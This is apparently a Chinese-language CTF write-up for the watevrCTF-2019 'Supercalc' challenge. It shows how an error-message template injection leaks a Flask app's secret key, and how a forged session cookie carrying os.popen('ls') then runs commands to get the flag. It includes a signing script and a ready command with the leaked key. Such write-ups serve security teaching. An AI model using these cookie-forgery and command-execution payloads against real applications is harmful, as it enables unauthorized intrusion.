[watevrCTF-2019]Supercalc

目录

考点:

解题:

伪造cookie执行命令:

总结:


考点:

flask-session 伪造

key 值搜寻

解题:

进入环境,输入 1+1 会出现 2   

应该是SSTI。但是输入{{1+1}} 会出现 :You cant use ast.Set m8

提示我们语法错误。

尝试输入 1/0 看看会不会报错,

 果然,并且 把我们的错误语句 报出来了, 那么既然把我们的语句爆出来了 ,那么是否可以利用报错的回显来获取信息呢?

尝试输入1/0{{1+2}}  ,还是 Check your syntax m8

但是把 1/0 后面的内容注释掉 就可以 报错返回 1/0#3

 那他确实是 执行了 {{}} 里的内容并且返回 回来了,相比正常的ssti 也就加了个 # 。

正常思路,我们先看一下  config  

 看到 又secret key 应该是伪造 flask seesion 。

抓包也是能够看见session 的。。解密出来正是我们之前输入的 值

伪造cookie执行命令:

python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(os).system("ls ")'}]}"   

 如果 不行的话   可以用python 来运行此脚本 也能得到payload。

from flask.sessions import SecureCookieSessionInterface

secret_key = "你的key"

class FakeApp:
    secret_key = secret_key


fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {"history": [{"code": '__import__("os").popen("ls ").read()'}]}
)
print(cookie)

插入 抓包插入seesion 里得到flag

总结:

。。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值